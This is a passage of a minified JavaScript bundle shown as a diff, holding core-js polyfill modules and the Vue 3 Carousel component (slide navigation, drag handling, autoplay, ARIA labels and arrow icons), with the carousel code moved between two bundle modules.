r=n(3724),a=n(9565),o=n(8773),i=n(6980),l=n(5397),s=n(6969),u=n(9297),d=n(5917),c=Object.getOwnPropertyDescriptor;t.f=r?c:function(e,t){if(e=l(e),t=s(t),d)try{return c(e,t)}catch(n){}if(u(e,t))return i(!a(o.f,e,t),e[t])}},7388:function(e,t,n){\"use strict\";var r,a,o=n(4475),i=n(9392),l=o.process,s=o.Deno,u=l&&l.versions||s&&s.version,d=u&&u.v8;d&&(r=d.split(\".\"),a=r[0]>0&&r[0]\u003C4?1:+(r[0]+r[1])),!a&&i&&(r=i.match(\u002FEdge\\\u002F(\\d+)\u002F),(!r||r[1]>=74)&&(r=i.match(\u002FChrome\\\u002F(\\d+)\u002F),r&&(a=+r[1]))),e.exports=a},7394:function(e,t,n){\"use strict\";var r=n(6706),a=n(4576),o=TypeError;e.exports=r(ArrayBuffer.prototype,\"byteLength\",\"get\")||function(e){if(\"ArrayBuffer\"!==a(e))throw new o(\"ArrayBuffer expected\");return e.byteLength}},7476:function(e,t,n){\"use strict\";var r=n(4576),a=n(9504);e.exports=function(e){if(\"Function\"===r(e))return a(e)}},7550:function(e,t,n){\"use strict\";var r=n(6518),a=n(2652),o=n(9306),i=n(8551),l=n(1767);r({target:\"Iterator\",proto:!0,real:!0},{some:function(e){i(this),o(e);var t=l(this),n=0;return a(t,function(t,r){if(e(t,n++))return r()},{IS_RECORD:!0,INTERRUPTED:!0}).stopped}})},7561:function(e,t,n){\"use strict\";var r=n(6518),a=n(3650),o=n(4916);r({target:\"Set\",proto:!0,real:!0,forced:!o(\"symmetricDifference\")},{symmetricDifference:a})},7566:function(e,t,n){\"use strict\";var r=n(6840),a=n(9504),o=n(655),i=n(2812),l=URLSearchParams,s=l.prototype,u=a(s.getAll),d=a(s.has),c=new l(\"a=1\");!c.has(\"a\",2)&&c.has(\"a\",void 0)||r(s,\"has\",function(e){var t=arguments.length,n=t\u003C2?void 0:arguments[1];if(t&&void 0===n)return d(this,e);var r=u(this,e);i(t,1);var a=o(n),l=0;while(l\u003Cr.length)if(r[l++]===a)return!0;return!1},{enumerable:!0,unsafe:!0})},7629:function(e,t,n){\"use strict\";var r=n(4475),a=n(9433),o=\"__core-js_shared__\",i=r[o]||a(o,{});e.exports=i},7657:function(e,t,n){\"use strict\";var r,a,o,i=n(9039),l=n(4901),s=n(34),u=n(2360),d=n(2787),c=n(6840),f=n(8227),p=n(6395),h=f(\"iterator\"),v=!1;[].keys&&(o=[].keys(),\"next\"in o?(a=d(d(o)),a!==Object.prototype&&(r=a)):v=!0);var m=!s(r)||i(function(){var e={};return r[h].call(e)!==e});m?r={}:p&&(r=u(r)),l(r[h])||c(r,h,function(){return this}),e.exports={IteratorPrototype:r,BUGGY_SAFARI_ITERATORS:v}},7680:function(e,t,n){\"use strict\";var r=n(9504);e.exports=r([].slice)},7696:function(e,t,n){\"use strict\";var r=n(1291),a=n(8014),o=RangeError;e.exports=function(e){if(void 0===e)return 0;var t=r(e),n=a(t);if(t!==n)throw new o(\"Wrong length or index\");return n}},7740:function(e,t,n){\"use strict\";var r=n(9297),a=n(5031),o=n(7347),i=n(4913);e.exports=function(e,t,n){for(var l=a(t),s=i.f,u=o.f,d=0;d\u003Cl.length;d++){var c=l[d];r(e,c)||n&&r(n,c)||s(e,c,u(t,c))}}},7750:function(e,t,n){\"use strict\";var r=n(4117),a=TypeError;e.exports=function(e){if(r(e))throw new a(\"Can't call method on \"+e);return e}},7751:function(e,t,n){\"use strict\";var r=n(4475),a=n(4901),o=function(e){return a(e)?e:void 0};e.exports=function(e,t){return arguments.length\u003C2?o(r[e]):r[e]&&r[e][t]}},7797:function(e,t,n){\"use strict\";n.d(t,{FN:function(){return y},Vx:function(){return _},dK:function(){return k},q7:function(){return C}});n(4114),n(8992),n(3949),n(1454),n(8872),n(7550);var r=n(6436),a=n(5167);\n \u002F**\n  * Vue 3 Carousel 0.3.4\n  * (c) 2024\n  * @license MIT\n  *\u002F\n-const o={itemsToShow:1,itemsToScroll:1,modelValue:0,transition:300,autoplay:0,snapAlign:\"center\",wrapAround:!1,throttle:16,pauseAutoplayOnHover:!1,mouseDrag:!0,touchDrag:!0,dir:\"ltr\",breakpoints:void 0,i18n:{ariaNextSlide:\"Navigate to next slide\",ariaPreviousSlide:\"Navigate to previous slide\",ariaNavigateToSlide:\"Navigate to slide {slideNumber}\",ariaGallery:\"Gallery\",itemXofY:\"Item {currentSlide} of {slidesCount}\",iconArrowUp:\"Arrow pointing upwards\",iconArrowDown:\"Arrow pointing downwards\",iconArrowRight:\"Arrow pointing to the right\",iconArrowLeft:\"Arrow pointing to the left\"}},i={itemsToShow:{default:o.itemsToShow,type:Number},itemsToScroll:{default:o.itemsToScroll,type:Number},wrapAround:{default:o.wrapAround,type:Boolean},throttle:{default:o.throttle,type:Number},snapAlign:{default:o.snapAlign,validator(e){return[\"start\",\"end\",\"center\",\"center-even\",\"center-odd\"].includes(e)}},transition:{default:o.transition,type:Number},breakpoints:{default:o.breakpoints,type:Object},autoplay:{default:o.autoplay,type:Number},pauseAutoplayOnHover:{default:o.pauseAutoplayOnHover,type:Boolean},modelValue:{default:void 0,type:Number},mouseDrag:{default:o.mouseDrag,type:Boolean},touchDrag:{default:o.touchDrag,type:Boolean},dir:{default:o.dir,validator(e){return[\"rtl\",\"ltr\"].includes(e)}},i18n:{default:o.i18n,type:Object},settings:{default(){return{}},type:Object}};function l({config:e,slidesCount:t}){const{snapAlign:n,wrapAround:r,itemsToShow:a=1}=e;if(r)return Math.max(t-1,0);let o;switch(n){case\"start\":o=t-a;break;case\"end\":o=t-1;break;case\"center\":case\"center-odd\":o=t-Math.ceil((a-.5)\u002F2);break;case\"center-even\":o=t-Math.ceil(a\u002F2);break;default:o=0;break}return Math.max(o,0)}function s({config:e,slidesCount:t}){const{wrapAround:n,snapAlign:r,itemsToShow:a=1}=e;let o=0;if(n||a>t)return o;switch(r){case\"start\":o=0;break;case\"end\":o=a-1;break;case\"center\":case\"center-odd\":o=Math.floor((a-1)\u002F2);break;case\"center-even\":o=Math.floor((a-2)\u002F2);break;default:o=0;break}return o}function u({val:e,max:t,min:n}){return t\u003Cn?e:Math.min(Math.max(e,n),t)}function d({config:e,currentSlide:t,slidesCount:n}){const{snapAlign:r,wrapAround:a,itemsToShow:o=1}=e;let i=t;switch(r){case\"center\":case\"center-odd\":i-=(o-1)\u002F2;break;case\"center-even\":i-=(o-2)\u002F2;break;case\"end\":i-=o-1;break}return a?i:u({val:i,max:n-o,min:0})}function c(e){return e?e.reduce((e,t)=>{var n;return t.type===r.FK?[...e,...c(t.children)]:\"CarouselSlide\"===(null===(n=t.type)||void 0===n?void 0:n.name)?[...e,t]:e},[]):[]}function f({val:e,max:t,min:n=0}){return e>t?f({val:e-(t+1),max:t,min:n}):e\u003Cn?f({val:e+(t+1),max:t,min:n}):e}function p(e,t){let n;return t?function(...r){const a=this;n||(e.apply(a,r),n=!0,setTimeout(()=>n=!1,t))}:e}function h(e,t){let n;return function(...r){n&&clearTimeout(n),n=setTimeout(()=>{e(...r),n=null},t)}}function v(e=\"\",t={}){return Object.entries(t).reduce((e,[t,n])=>e.replace(`{${t}}`,String(n)),e)}var m,g=(0,r.pM)({name:\"ARIA\",setup(){const e=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),t=(0,r.WQ)(\"currentSlide\",(0,a.KR)(0)),n=(0,r.WQ)(\"slidesCount\",(0,a.KR)(0));return()=>(0,r.h)(\"div\",{class:[\"carousel__liveregion\",\"carousel__sr-only\"],\"aria-live\":\"polite\",\"aria-atomic\":\"true\"},v(e.i18n[\"itemXofY\"],{currentSlide:t.value+1,slidesCount:n.value}))}}),y=(0,r.pM)({name:\"Carousel\",props:i,setup(e,{slots:t,emit:n,expose:v}){var m;const y=(0,a.KR)(null),b=(0,a.KR)([]),$=(0,a.KR)(0),w=(0,a.KR)(0),_=(0,a.Kh)(Object.assign({},o));let k,C=Object.assign({},o);const x=(0,a.KR)(null!==(m=e.modelValue)&&void 0!==m?m:0),S=(0,a.KR)(0),E=(0,a.KR)(0),T=(0,a.KR)(0),R=(0,a.KR)(0);let O,M;function A(){k=Object.assign({},e.breakpoints),C=Object.assign(Object.assign(Object.assign({},C),e),{i18n:Object.assign(Object.assign({},C.i18n),e.i18n),breakpoints:void 0}),B(C)}function D(){if(!k||!Object.keys(k).length)return;const e=Object.keys(k).map(e=>Number(e)).sort((e,t)=>+t-+e);let t=Object.assign({},C);e.some(e=>{const n=window.matchMedia(`(min-width: ${e}px)`).matches;return n&&(t=Object.assign(Object.assign({},t),k[e])),n}),B(t)}function B(e){Object.entries(e).forEach(([e,t])=>_[e]=t)}(0,r.Gt)(\"config\",_),(0,r.Gt)(\"slidesCount\",w),(0,r.Gt)(\"currentSlide\",x),(0,r.Gt)(\"maxSlide\",T),(0,r.Gt)(\"minSlide\",R),(0,r.Gt)(\"slideWidth\",$);const W=h(()=>{D(),I(),P()},16);function P(){if(!y.value)return;const e=y.value.getBoundingClientRect();$.value=e.width\u002F_.itemsToShow}function I(){w.value\u003C=0||(E.value=Math.ceil((w.value-1)\u002F2),T.value=l({config:_,slidesCount:w.value}),R.value=s({config:_,slidesCount:w.value}),_.wrapAround||(x.value=u({val:x.value,max:T.value,min:R.value})))}(0,r.sV)(()=>{(0,r.dY)(()=>P()),setTimeout(()=>P(),1e3),D(),K(),window.addEventListener(\"resize\",W,{passive:!0}),n(\"init\")}),(0,r.hi)(()=>{M&&clearTimeout(M),O&&clearInterval(O),window.removeEventListener(\"resize\",W,{passive:!0})});let N=!1;const L={x:0,y:0},j={x:0,y:0},F=(0,a.Kh)({x:0,y:0}),V=(0,a.KR)(!1),U=(0,a.KR)(!1),X=()=>{V.value=!0},H=()=>{V.value=!1};function G(e){[\"INPUT\",\"TEXTAREA\",\"SELECT\"].includes(e.target.tagName)||(N=\"touchstart\"===e.type,N||e.preventDefault(),!N&&0!==e.button||Q.value||(L.x=N?e.touches[0].clientX:e.clientX,L.y=N?e.touches[0].clientY:e.clientY,document.addEventListener(N?\"touchmove\":\"mousemove\",Y,!0),document.addEventListener(N?\"touchend\":\"mouseup\",z,!0)))}const Y=p(e=>{U.value=!0,j.x=N?e.touches[0].clientX:e.clientX,j.y=N?e.touches[0].clientY:e.clientY;const t=j.x-L.x,n=j.y-L.y;F.y=n,F.x=t},_.throttle);function z(){const e=\"rtl\"===_.dir?-1:1,t=.4*Math.sign(F.x),n=Math.round(F.x\u002F$.value+t)*e;if(n&&!N){const e=t=>{window.removeEventListener(\"click\",e,!0)};window.addEventListener(\"click\",e,!0)}Z(x.value-n),F.x=0,F.y=0,U.value=!1,document.removeEventListener(N?\"touchmove\":\"mousemove\",Y,!0),document.removeEventListener(N?\"touchend\":\"mouseup\",z,!0)}function K(){!_.autoplay||_.autoplay\u003C=0||(O=setInterval(()=>{_.pauseAutoplayOnHover&&V.value||J()},_.autoplay))}function q(){O&&(clearInterval(O),O=null),K()}const Q=(0,a.KR)(!1);function Z(e){const t=_.wrapAround?e:u({val:e,max:T.value,min:R.value});x.value===t||Q.value||(n(\"slide-start\",{slidingToIndex:e,currentSlideIndex:x.value,prevSlideIndex:S.value,slidesCount:w.value}),Q.value=!0,S.value=x.value,x.value=t,M=setTimeout(()=>{if(_.wrapAround){const r=f({val:t,max:T.value,min:0});r!==x.value&&(x.value=r,n(\"loop\",{currentSlideIndex:x.value,slidingToIndex:e}))}n(\"update:modelValue\",x.value),n(\"slide-end\",{currentSlideIndex:x.value,prevSlideIndex:S.value,slidesCount:w.value}),Q.value=!1,q()},_.transition))}function J(){Z(x.value+_.itemsToScroll)}function ee(){Z(x.value-_.itemsToScroll)}const te={slideTo:Z,next:J,prev:ee};(0,r.Gt)(\"nav\",te),(0,r.Gt)(\"isSliding\",Q);const ne=(0,r.EW)(()=>d({config:_,currentSlide:x.value,slidesCount:w.value}));(0,r.Gt)(\"slidesToScroll\",ne);const re=(0,r.EW)(()=>{const e=\"rtl\"===_.dir?-1:1,t=ne.value*$.value*e;return{transform:`translateX(${F.x-t}px)`,transition:`${Q.value?_.transition:0}ms`,margin:_.wrapAround?`0 -${w.value*$.value}px`:\"\",width:\"100%\"}});function ae(){A(),D(),I(),P(),q()}Object.keys(i).forEach(t=>{[\"modelValue\"].includes(t)||(0,r.wB)(()=>e[t],ae)}),(0,r.wB)(()=>e[\"modelValue\"],e=>{e!==x.value&&Z(Number(e))}),(0,r.wB)(w,I),n(\"before-init\"),A();const oe={config:_,slidesCount:w,slideWidth:$,next:J,prev:ee,slideTo:Z,currentSlide:x,maxSlide:T,minSlide:R,middleSlide:E};v({updateBreakpointsConfigs:D,updateSlidesData:I,updateSlideWidth:P,initDefaultConfigs:A,restartCarousel:ae,slideTo:Z,next:J,prev:ee,nav:te,data:oe});const ie=t.default||t.slides,le=t.addons,se=(0,a.Kh)(oe);return()=>{const e=c(null===ie||void 0===ie?void 0:ie(se)),t=(null===le||void 0===le?void 0:le(se))||[];e.forEach((e,t)=>e.props.index=t);let n=e;if(_.wrapAround){const t=e.map((t,n)=>(0,r.E3)(t,{index:-e.length+n,isClone:!0,key:`clone-before-${n}`})),a=e.map((t,n)=>(0,r.E3)(t,{index:e.length+n,isClone:!0,key:`clone-after-${n}`}));n=[...t,...e,...a]}b.value=e,w.value=Math.max(e.length,1);const a=(0,r.h)(\"ol\",{class:\"carousel__track\",style:re.value,onMousedownCapture:_.mouseDrag?G:null,onTouchstartPassiveCapture:_.touchDrag?G:null},n),o=(0,r.h)(\"div\",{class:\"carousel__viewport\"},a);return(0,r.h)(\"section\",{ref:y,class:{carousel:!0,\"is-sliding\":Q.value,\"is-dragging\":U.value,\"is-hover\":V.value,\"carousel--rtl\":\"rtl\"===_.dir},dir:_.dir,\"aria-label\":_.i18n[\"ariaGallery\"],tabindex:\"0\",onMouseenter:X,onMouseleave:H},[o,t,(0,r.h)(g)])}}});(function(e){e[\"arrowUp\"]=\"arrowUp\",e[\"arrowDown\"]=\"arrowDown\",e[\"arrowRight\"]=\"arrowRight\",e[\"arrowLeft\"]=\"arrowLeft\"})(m||(m={}));const b={arrowUp:\"M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z\",arrowDown:\"M7.41 8.59L12 13.17l4.59-4.58L18 10l-6 6-6-6 1.41-1.41z\",arrowRight:\"M8.59 16.59L13.17 12 8.59 7.41 10 6l6 6-6 6-1.41-1.41z\",arrowLeft:\"M15.41 16.59L10.83 12l4.58-4.59L14 6l-6 6 6 6 1.41-1.41z\"};function $(e){return e in m}const w=e=>{const t=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),n=String(e.name),i=`icon${n.charAt(0).toUpperCase()+n.slice(1)}`;if(!n||\"string\"!==typeof n||!$(n))return;const l=b[n],s=(0,r.h)(\"path\",{d:l}),u=t.i18n[i]||e.title||n,d=(0,r.h)(\"title\",u);return(0,r.h)(\"svg\",{class:\"carousel__icon\",viewBox:\"0 0 24 24\",role:\"img\",\"aria-label\":u},[d,s])};w.props={name:String,title:String};const _=(e,{slots:t,attrs:n})=>{const{next:i,prev:l}=t||{},s=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),u=(0,r.WQ)(\"maxSlide\",(0,a.KR)(1)),d=(0,r.WQ)(\"minSlide\",(0,a.KR)(1)),c=(0,r.WQ)(\"currentSlide\",(0,a.KR)(1)),f=(0,r.WQ)(\"nav\",{}),{dir:p,wrapAround:h,i18n:v}=s,m=\"rtl\"===p,g=(0,r.h)(\"button\",{type:\"button\",class:[\"carousel__prev\",!h&&c.value\u003C=d.value&&\"carousel__prev--disabled\",null===n||void 0===n?void 0:n.class],\"aria-label\":v[\"ariaPreviousSlide\"],onClick:f.prev},(null===l||void 0===l?void 0:l())||(0,r.h)(w,{name:m?\"arrowRight\":\"arrowLeft\"})),y=(0,r.h)(\"button\",{type:\"button\",class:[\"carousel__next\",!h&&c.value>=u.value&&\"carousel__next--disabled\",null===n||void 0===n?void 0:n.class],\"aria-label\":v[\"ariaNextSlide\"],onClick:f.next},(null===i||void 0===i?void 0:i())||(0,r.h)(w,{name:m?\"arrowLeft\":\"arrowRight\"}));return[g,y]},k=()=>{const e=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),t=(0,r.WQ)(\"maxSlide\",(0,a.KR)(1)),n=(0,r.WQ)(\"minSlide\",(0,a.KR)(1)),i=(0,r.WQ)(\"currentSlide\",(0,a.KR)(1)),l=(0,r.WQ)(\"nav\",{}),s=e=>f({val:i.value,max:t.value,min:0})===e,u=[];for(let a=n.value;a\u003Ct.value+1;a++){const t=(0,r.h)(\"button\",{type:\"button\",class:{\"carousel__pagination-button\":!0,\"carousel__pagination-button--active\":s(a)},\"aria-label\":v(e.i18n[\"ariaNavigateToSlide\"],{slideNumber:a+1}),onClick:()=>l.slideTo(a)}),n=(0,r.h)(\"li\",{class:\"carousel__pagination-item\",key:a},t);u.push(n)}return(0,r.h)(\"ol\",{class:\"carousel__pagination\"},u)};var C=(0,r.pM)({name:\"CarouselSlide\",props:{index:{type:Number,default:1},isClone:{type:Boolean,default:!1}},setup(e,{slots:t}){const n=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),i=(0,r.WQ)(\"currentSlide\",(0,a.KR)(0)),l=(0,r.WQ)(\"slidesToScroll\",(0,a.KR)(0)),s=(0,r.WQ)(\"isSliding\",(0,a.KR)(!1)),u=(0,r.EW)(()=>e.index===i.value),d=(0,r.EW)(()=>e.index===i.value-1),c=(0,r.EW)(()=>e.index===i.value+1),f=(0,r.EW)(()=>{const t=Math.floor(l.value),r=Math.ceil(l.value+n.itemsToShow-1);return e.index>=t&&e.index\u003C=r});return()=>{var a;return(0,r.h)(\"li\",{style:{width:100\u002Fn.itemsToShow+\"%\"},class:{carousel__slide:!0,\"carousel__slide--clone\":e.isClone,\"carousel__slide--visible\":f.value,\"carousel__slide--active\":u.value,\"carousel__slide--prev\":d.value,\"carousel__slide--next\":c.value,\"carousel__slide--sliding\":s.value},\"aria-hidden\":!f.value},null===(a=t.default)||void 0===a?void 0:a.call(t,{isActive:u.value,isClone:e.isClone,isPrev:d.value,isNext:c.value,isSliding:s.value,isVisible:f.value}))}}})},7801:function(e,t,n){\"use strict\";var r=n(6518),a=n(5636);a&&r({target:\"ArrayBuffer\",proto:!0},{transferToFixedLength:function(){return a(this,arguments.length?arguments[0]:void 0,!1)}})},7811:function(e){\"use strict\";e.exports=\"undefined\"!=typeof ArrayBuffer&&\"undefined\"!=typeof DataView},7913:function(e,t,n){\"use strict\";var r=n(6518),a=n(5636);a&&r({target:\"ArrayBuffer\",proto:!0},{transfer:function(){return a(this,arguments.length?arguments[0]:void 0,!0)}})},7959:function(e,t,n){\"use strict\";n.d(t,{$3:function(){return p},$H:function(){return I},BH:function(){return H},BX:function(){return re},Bm:function(){return w},C4:function(){return Q},CE:function(){return v},CP:function(){return u},DY:function(){return N},Gv:function(){return _},J$:function(){return ee},Kg:function(){return $},MZ:function(){return a},Mp:function(){return s},NO:function(){return l},Oj:function(){return o},PT:function(){return A},Qd:function(){return E},Ro:function(){return F},SU:function(){return R},TF:function(){return c},Tg:function(){return B},Tn:function(){return b},Tr:function(){return G},We:function(){return U},X$:function(){return d},Y2:function(){return te},ZH:function(){return W},Zf:function(){return S},_B:function(){return Z},bB:function(){return j},cy:function(){return h},gd:function(){return y},pD:function(){return r},rU:function(){return P},tE:function(){return i},u3:function(){return ae},vM:function(){return m},v_:function(){return ie},yI:function(){return T},yL:function(){return k},yQ:function(){return L}});n(4114),n(8992),n(4520),n(3949);\n+const o={itemsToShow:1,itemsToScroll:1,modelValue:0,transition:300,autoplay:0,snapAlign:\"center\",wrapAround:!1,throttle:16,pauseAutoplayOnHover:!1,mouseDrag:!0,touchDrag:!0,dir:\"ltr\",breakpoints:void 0,i18n:{ariaNextSlide:\"Navigate to next slide\",ariaPreviousSlide:\"Navigate to previous slide\",ariaNavigateToSlide:\"Navigate to slide {slideNumber}\",ariaGallery:\"Gallery\",itemXofY:\"Item {currentSlide} of {slidesCount}\",iconArrowUp:\"Arrow pointing upwards\",iconArrowDown:\"Arrow pointing downwards\",iconArrowRight:\"Arrow pointing to the right\",iconArrowLeft:\"Arrow pointing to the left\"}},i={itemsToShow:{default:o.itemsToShow,type:Number},itemsToScroll:{default:o.itemsToScroll,type:Number},wrapAround:{default:o.wrapAround,type:Boolean},throttle:{default:o.throttle,type:Number},snapAlign:{default:o.snapAlign,validator(e){return[\"start\",\"end\",\"center\",\"center-even\",\"center-odd\"].includes(e)}},transition:{default:o.transition,type:Number},breakpoints:{default:o.breakpoints,type:Object},autoplay:{default:o.autoplay,type:Number},pauseAutoplayOnHover:{default:o.pauseAutoplayOnHover,type:Boolean},modelValue:{default:void 0,type:Number},mouseDrag:{default:o.mouseDrag,type:Boolean},touchDrag:{default:o.touchDrag,type:Boolean},dir:{default:o.dir,validator(e){return[\"rtl\",\"ltr\"].includes(e)}},i18n:{default:o.i18n,type:Object},settings:{default(){return{}},type:Object}};function l({config:e,slidesCount:t}){const{snapAlign:n,wrapAround:r,itemsToShow:a=1}=e;if(r)return Math.max(t-1,0);let o;switch(n){case\"start\":o=t-a;break;case\"end\":o=t-1;break;case\"center\":case\"center-odd\":o=t-Math.ceil((a-.5)\u002F2);break;case\"center-even\":o=t-Math.ceil(a\u002F2);break;default:o=0;break}return Math.max(o,0)}function s({config:e,slidesCount:t}){const{wrapAround:n,snapAlign:r,itemsToShow:a=1}=e;let o=0;if(n||a>t)return o;switch(r){case\"start\":o=0;break;case\"end\":o=a-1;break;case\"center\":case\"center-odd\":o=Math.floor((a-1)\u002F2);break;case\"center-even\":o=Math.floor((a-2)\u002F2);break;default:o=0;break}return o}function u({val:e,max:t,min:n}){return t\u003Cn?e:Math.min(Math.max(e,n),t)}function d({config:e,currentSlide:t,slidesCount:n}){const{snapAlign:r,wrapAround:a,itemsToShow:o=1}=e;let i=t;switch(r){case\"center\":case\"center-odd\":i-=(o-1)\u002F2;break;case\"center-even\":i-=(o-2)\u002F2;break;case\"end\":i-=o-1;break}return a?i:u({val:i,max:n-o,min:0})}function c(e){return e?e.reduce((e,t)=>{var n;return t.type===r.FK?[...e,...c(t.children)]:\"CarouselSlide\"===(null===(n=t.type)||void 0===n?void 0:n.name)?[...e,t]:e},[]):[]}function f({val:e,max:t,min:n=0}){return e>t?f({val:e-(t+1),max:t,min:n}):e\u003Cn?f({val:e+(t+1),max:t,min:n}):e}function p(e,t){let n;return t?function(...r){const a=this;n||(e.apply(a,r),n=!0,setTimeout(()=>n=!1,t))}:e}function h(e,t){let n;return function(...r){n&&clearTimeout(n),n=setTimeout(()=>{e(...r),n=null},t)}}function v(e=\"\",t={}){return Object.entries(t).reduce((e,[t,n])=>e.replace(`{${t}}`,String(n)),e)}var m,g=(0,r.pM)({name:\"ARIA\",setup(){const e=(0,r.WQ)(\"config\",(0,a.Kh)(Object.assign({},o))),t=(0,r.WQ)(\"currentSlide\",(0,a.KR)(0)),n=(0,r.WQ)(\"slidesCount\",(0,a.KR)(0));return()=>(0,r.h)(\"div\",{class:[\"carousel__liveregion\",\"carousel__sr-only\"],\"aria-live\":\"polite\",\"aria-atomic\":\"true\"},v(e.i18n[\"itemXofY\"],{currentSlide:t.value+1,slidesCount:n.value}))}}),y=(0,r.pM)({name:\"Carousel\",props:i,setup(e,{slots:t,emit:n,expose:v}){var m;const y=(0,a.KR)(null),b=(0,a.KR)([]),$=(0,a.KR)(0),w=(0,a.KR)(0),_=(0,a.Kh)(Object.assign({},o));let k,C=Object.assign({},o);const x=(0,a.KR)(null!==(m=e.modelValue)&&void 0!==m?m:0),S=(0,a.KR)(0),E=(0,a.KR)(0),T=(0,a.KR)(0),R=(0,a.KR)(0);let O,M;function A(){k=Object.assign({},e.breakpoints),C=Object.assign(Object.assign(Object.assign({},C),e),{i18n:Object.assign(Object.assign({},C.i18n),e.i18n),breakpoints:void 0}),W(C)}function D(){if(!k||!Object.keys(k).length)return;const e=Object.keys(k).map(e=>Number(e)).sort((e,t)=>+t-+e);let t=Object.assign({},C);e.some(e=>{const n=window.matchMedia(`(min-width: ${e}px)`).matches;return n&&(t=Object.assign(Object.assign({},t),k[e])),n}),W(t)}function W(e){Object.entries(e).forEach(([e,t])=>_[e]=t)}(0,r.Gt)(\"config\",_),(0,r.Gt)(\"slidesCount\",w),(0,r.Gt)(\"currentSlide\",x),(0,r.Gt)(\"maxSlide\",T),(0,r.Gt)(\"minSlide\",R),(0,r.Gt)(\"slideWidth\",$);const B=h(()=>{D(),I(),P()},16);function P(){if(!y.value)return;const e=y.value.getBoundingClientRect();$.value=e.width\u002F_.itemsToShow}function I(){w.value\u003C=0||(E.value=Math.ceil((w.value-1)\u002F2),T.value=l({config:_,slidesCount:w.value}),R.value=s({config:_,slidesCount:w.value}),_.wrapAround||(x.value=u({val:x.value,max:T.value,min:R.value})))}(0,r.sV)(()=>{(0,r.dY)(()=>P()),setTimeout(()=>P(),1e3),D(),K(),window.addEventListener(\"resize\",B,{passive:!0}),n(\"init\")}),(0,r.hi)(()=>{M&&clearTimeout(M),O&&clearInterval(O),window.removeEventListener(\"resize\",B,{passive:!0})});let N=!1;const L={x:0,y:0},j={x:0,y:0},F=(0,a.Kh)({x:0,y:0}),V=(0,a.KR)(!1),U=(0,a.KR)(!1),X=()=>{V.value=!0},H=()=>{V.value=!1};function G(e){[\"INPUT\",\"TEXTAREA\",\"SELECT\"].includes(e.target.tagName)||(N=\"touchstart\"===e.type,N||e.preventDefault(),!N&&0!==e.button||Q.value||(L.x=N?e.touches[0].clientX:e.clientX,L.y=N?e.touches[0].clientY:e.clientY,document.addEventListener(N?\"touchmove\":\"mousemove\",Y,!0),document.addEventListener(N?\"touchend\":\"mouseup\",z,!0)))}const Y=p(e=>{U.value=!0,j.x=N?e.touches[0].clientX:e.clientX,j.y=N?e.touches[0].clientY:e.clientY;const t=j.x-L.x,n=j.y-L.y;F.y=n,F.x=t},_.throttle);function z(){const e=\"rtl\"===_.dir?-1:1,t=.4*Math.sign(F.x),n=Math.round(F.x\u002F$.value+t)*e;if(n&&!N){const e=t=>{window.removeEventListener(\"click\",e,!0)};window.addEventListener(\"click\",e,!0)}Z(x.value-n),F.x=0,F.y=0,U.value=!1,document.removeEventListener(N?\"touchmove\":\"mousemove\",Y,!0),document.removeEventListener(N?\"touchend\":\"mouseup\",z,!0)}function K(){!_.autoplay||_.autoplay\u003C=0||(O=setInterval(()=>{_.pauseAutoplayOnHover&&V.value||J()},_.autoplay))}function q(){O&&(clearInterval(O),O=null),K()}const Q=(0,a.KR)(!1);function Z(e){const t=_.wrapAround?e:u({val:e,max:T.value,min:R.value});x.value===t||Q.value||(n(\"slide-start\",{slidingToIndex:e,currentSlideIndex:x.value,prevSlideIndex:S.value,slidesCount:w.value}),Q.value=!0,S.value=x.value,x.value=t,M=setTimeout(()=>{if(_.wrapAround){const r=f({val:t,max:T.value,min:0});r!==x.value&&(x.value=r,n(\"loop\",{currentSlideIndex:x.value,slidingToIndex:e}))}n(\"update:modelValue\",x.value),n(\"slide-end\",{currentSlideIndex:x.value,prevSlideIndex:S.value,slidesCount:w.value}),Q.value=!1,q()},_.transition))}function J(){Z(x.value+_.itemsToScroll)}function ee(){Z(x.value-_.itemsToScroll)}const te={slideTo:Z,next:J,prev:ee};(0,r.Gt)(\"nav\",te),(0,r.Gt)(\"isSliding\",Q);const ne=(0,r.EW)(()=>d({config:_,currentSlide:x.value,slidesCount:w.value}));(0,r.Gt)(\"slidesToScroll\",ne);const re=(0,r.EW)(()=>{const e=\"rtl\"===_.dir?-1:1,t=ne.value*$.value*e;return{transform:`translateX(${F.x-t}px)`,transition:`${Q.value?_.transition:0}ms`,margin:_.wrapAround?`0 -${w.value*$.value}px`:\"\",width:\"100%\"}});function ae(){A(),D(),I(),P(),q()}Object.keys(i).forEach(t=>{[\"modelValue\"].includes(t)||(0,r.wB)(()=>e[t],ae)}),(0,r.wB)(()=>e[\"modelValue\"],e=>{e!==x.value&&Z(Number(e))}),(0,r.wB)(w,I),n(\"before-init\"),A();const oe={config:_,slidesCount:w,slideWidth:$,next:J,prev:ee,slideTo:Z,currentSlide:x,maxSlide:T,minSlide:R,middleSlide:E};v({updateBreakpointsConfigs:D,updateSlidesData:I,updateSlideWidth:P,initDefaultConfigs:A,restartCarousel:ae,slideTo:Z,next:J,prev:ee,nav:te,data:oe});const ie=t.default||t.slides,le=t.addons,se=(0,a.Kh)(oe);return()=>{const e=c(null===ie||void 0===ie?void 0:ie(se)),t=(null===le||void 0===le?void 0:le(se))||[];e.forEach((e,t)=>e.props.index=t);let n=e;if(_.wrapAround){const t=e.map((t,n)=>(0,r.E3)(t,{index:-e.length+n,isClone:!0,key:`clone-before-${n}`})),a=e.map((t,n)=>(0,r.E3)(t,{index:e.length+n,isClone:!0,key:`clone-after-${n}`}));n=[...t,...e,...a]}b.value=e,w.value=Math.max(e.length,1);const 